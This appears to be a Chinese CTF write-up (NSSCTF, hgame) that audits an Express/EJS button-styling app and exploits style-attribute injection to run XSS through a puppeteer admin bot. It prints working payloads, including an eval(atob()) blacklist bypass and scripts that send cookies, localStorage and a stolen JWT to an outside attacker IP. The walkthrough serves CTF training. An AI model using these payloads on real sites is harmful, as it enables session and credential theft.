环境:NSSCTF

首页是一个注册界面,随便注册个名字进去

是个编辑按钮样式的界面,在这三个编辑框都尝试了XSS并没有反应,这时可以去审源码了

先看首页index.js的路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
const express = require("express")
const jwt = require("jsonwebtoken")
const puppeteer = require('puppeteer')
const querystring = require('node:querystring')

const app = express()

app.use(express.static("./static"))
app.use(express.json())
app.set("view engine", "ejs")
app.set("views", "views")
app.use(express.urlencoded({ extended: false }))

const secret = "secret_here"

function auth(req, res, next) {
const token = req.headers["authorization"]
if (!token) {
return res.redirect("/")
}
try {
const decoded = jwt.verify(token, secret) || {}
req.user = decoded
} catch {
return res.status(500).json({ msg: "jwt decode error" })
}
next()
}

app.get("/", (req, res) => {
res.render("register")
})

app.post("/user/register", (req, res) => {
const username = req.body.username
let flag = "hgame{fake_flag_here}"
if (username == "admin" && req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") {
flag = "hgame{true_flag_here}"
}
const token = jwt.sign({ username, flag }, secret)
res.json({ token })
})

app.get("/user/info", auth, (req, res) => {
res.json({ username: req.user.username, flag: req.user.flag })
})

app.post("/button/save", auth, (req, res) => {
req.user.style = {}
for (const key in req.body) {
req.user.style[key] = req.body[key]
}
const token = jwt.sign(req.user, secret)
res.json({ token })
})

app.get("/button/get", auth, (req, res) => {
const style = req.user.style
res.json({ style })
})

app.get("/button/edit", (req, res) => {
// render a button
res.render("button")
})

app.post("/button/share", auth, async (req, res) => {
const browser = await puppeteer.launch({
headless: true,
executablePath: "/usr/bin/chromium",
args: ['--no-sandbox']
});
const page = await browser.newPage()
const query = querystring.encode(req.body)
await page.goto('http://127.0.0.1:9090/button/preview?' + query)
await page.evaluate(() => {
return localStorage.setItem("token", "jwt_token_here")
})
await page.click("#button")

res.json({ msg: "admin will see it later" })
})

app.get("/button/preview", (req, res) => {
const blacklist = [
/on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/, /document/
]
for (const key in req.query) {
for (const item of blacklist) {
if (item.test(key.trim()) || item.test(req.query[key].trim())) {
req.query[key] = ""
}
}
}
res.render("preview", { data: req.query })
})

app.listen(9090)

我们一个一个来分析路由的作用:

我们一开始进入了’/‘路由

1
res.render("register")//这段代码会进入register.ejs渲染的页面,ejs是javascript的一个模板引擎,他允许用模板标签快速地在html中插入js代码,这个特性再下面会看到

点击register按钮后,系统会把我们的username用POST传到这个路由当中

1
2
3
4
5
6
7
8
9
app.post("/user/register", (req, res) => {
const username = req.body.username
let flag = "hgame{fake_flag_here}"
if (username == "admin" && req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") {
flag = "hgame{true_flag_here}"
}
const token = jwt.sign({ username, flag }, secret)
res.json({ token })
})

分析下这个路由,username就是我们的请求体中的username,然后会先给我们一个fake flag(注意这里只是返回一个json形式的token,如果需要本地存储要用localStorage.setItem),下一行会判断如果我们是admin并且IP地址为127.0.0.1(后面那个ip目前没有很好的伪造方法),就会给我们true flag,试试XFF伪造,发现没用,只能继续往下看,最后就是把带有fake flag的username属性的jwt发给我们的浏览器本地存储

目前,我们的思路是:通过某种方式获取到靶机的cookie,然后jwt解密就能找到真flag

然后我们跳过一些不重要的路由(这些路由都是关于css样式),直接进入/button/share

我们我们来详细讲解一下这段路由:

定义一个异步的无界面的模拟浏览器

1
2
3
4
5
const browser = await puppeteer.launch({
headless: true,
executablePath: "/usr/bin/chromium",
args: ['--no-sandbox']
});

模拟浏览器操作,新打开一个页面,并将编码后的请求体数据作为新url中的参数访问preview路由

这里的page.goto是在服务端完成的,这很重要,也决定了我们为什么能用xss

1
2
3
const page = await browser.newPage()
const query = querystring.encode(req.body)
await page.goto('http://127.0.0.1:9090/button/preview?' + query)

最后才是

1
localStorage.setItem("token", "jwt_token_here")

给我们本地存储一个jwt,负载的是jwt_token_here,token就是上面我们定义并且生成了负载的变量

现在,我们来看/button/preview路由

首先是一串黑名单,过滤的内容都是跟xss行为有关的

比如’on’,并不是有一个叫on的方法,而是过滤了onclick,onmouseover类似的含有on的操作函数

‘localStorage’ 是HTML5提供的一个客户端存储技术,可以将数据持久化存储在用户浏览器中。在XSS攻击中,攻击者可能会利用’localStorage’向用户浏览器植入恶意数据或脚本。同时,攻击者也可能尝试读取或修改’localStorage’中的敏感信息

‘fetch’ 关键词:’fetch’ 是一个用于网络请求的JavaScript API,可以用于获取资源、提交数据等。在XSS攻击中,攻击者可能会利用’fetch’发起恶意请求,用于获取敏感信息、篡改数据或与其他恶意网站进行通信。

最后,带着query去访问preview渲染的模板

1
res.render("preview", { data: req.query })

在preview.ejs中,我们可控的地方在

1
2
3
4
5
<a
class="button"
id="button"
style="<% for (const key in data) { %><%- key %>:<%- data[key] %> ;<% }; %>"
>CLICK ME</a>

这里就是上面提到的ejs的特性之一,类似jsp和flask,ejs将<% …..%>之间的内容解析为js代码

这里举个例子容易理解:

正常情况下,我们可以传入

1
{"border-radius":"0px","background-color":"#000000","color":"#000000","border-width":"1px","box-shadow":"3px 3px #000"}

也就是我点击share按钮时的请求

1
<% for (const key in data) {  %><%- key %>:<%- data[key] %> ;<% }; %>

中,data就是我们传入的这些json对象,key就是json对象中的键值,data[key]便是对应的值,

解析后就变成:

1
style="border-radius:0px;background-color:#000000;color:#000000;bor....(此处省略)"

因为是用拼接的形式来进行style定义的,所以我们可以通过提前闭合style定义的语句然后插入script代码来进行xss、

这是对于两个ejs标签的解读:

  1. <% %>:用于嵌入JavaScript代码,但不会输出任何内容。这类标签通常用于执行循环、条件判断等控制结构。
  2. <%- %>:用于输出非转义的内容。在EJS中,这意味着输出的文本将保留原始格式,而不会被转义。这对于输出HTML和CSS样式等原始内容非常有用。这里的转义是指变量的值不会被转义而不是原封不动的输出

这里再解释下为什么要用4对标签而不是一对标签就完事,如果你尝试只用一对标签,例如 <% for (const key in data) { - key :- data[key] ; }; %>,首先“:”不会被正确显示在style中导致语法格式错误,其次-key -data[key]中的-应该与<%-在一起,不然是个语法错误,虽然这里和这道题本身没关系,但是还是值得思考一下的,作者这里有点词穷,读者们可以自己推敲一下

下面我们来说如何将我们想要的js语句插入进去,首先要提前闭合style样式的双引号””,目前我们已知解析后的格式为style=”key:data[key]”,这里我们选择从值入手(读者可以试试从键入手)

我们随便选个样式属性,提前闭合,

1
2
3
{"background-color":"\""}//注意这里要转义引号
=>
style="background-color":"""

在后面构造我们的xss payload

1
{"background-color":"\"<script>alert('test');</script>"}

因为是靶机自己去访问preview,所以我们这里没有回显,因此我们要让靶机连接我们的vps,在我们的vps上起一个netcat监听

这里用atob函数可以规避黑名单的检测,这里要记得加eval,否则就是单纯输出字符串了

1
{"background-color":"\"><script>eval(atob('YXN5bmMgZnVuY3Rpb24gcigpCgl7Cgl2YXIgYT1uZXcgWE1MSHR0cFJlcXVlc3QoKTsKCXZhciBiPW5ldyBGb3JtRGF0YSgpOwoJYi5hcHBlbmQoJ2MnLGRvY3VtZW50LmNvb2tpZSk7CgliLmFwcGVuZCgnbCcsd2luZG93LmxvY2F0aW9uLmhyZWYpOwoJYi5hcHBlbmQoJ2xzJyxKU09OLnN0cmluZ2lmeSh3aW5kb3cubG9jYWxTdG9yYWdlKSk7Cgl0cnkKCQl7CgkJYi5hcHBlbmQoJ2NkJyxKU09OLnN0cmluZ2lmeShhd2FpdCBjb29raWVTdG9yZS5nZXRBbGwoKSkpCgl9CgljYXRjaChlKQoJCXsKCX0KCWIuYXBwZW5kKCd1YScsbmF2aWdhdG9yLnVzZXJBZ2VudCk7CglhLm9wZW4oJ1BPU1QnLCJodHRwOi8vMS4xMTcuMjQ3LjE0OjgwMDAiKTsKCWEuc2VuZChiKQp9CnIoKTsK'))</script>"}"}

其中base64编码的js脚本如下:

1
2
3
4
5
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://vps:port/", true);
var formData = new FormData();
formData.append("cookies", JSON.stringify(window.localStorage));//localStorage
xhr.send(formData);

接受到的请求:

这里因为靶机还没有访问register,所以没有本地cookie

利用xss让靶机访问本地的register路由,并且使username=admin,然后让其访问share在本地存储token,让其获得真flag供我们读取,最终再xss把自身存储的localStorage和cookie都发过来

或者直接跳过share,直接显示token

1
2
3
4
$.post("/user/register",{"username":"admin"},function(result){
document.location='http://vps:port?token='+result
});

试了很久,只有第二种方法直接获取register返回的token成功了,第一种方法一直读不到东西,很奇怪

一开始我怀疑是不是不能用json,后来传post参数username=admin后还是读取不到token,懒得管了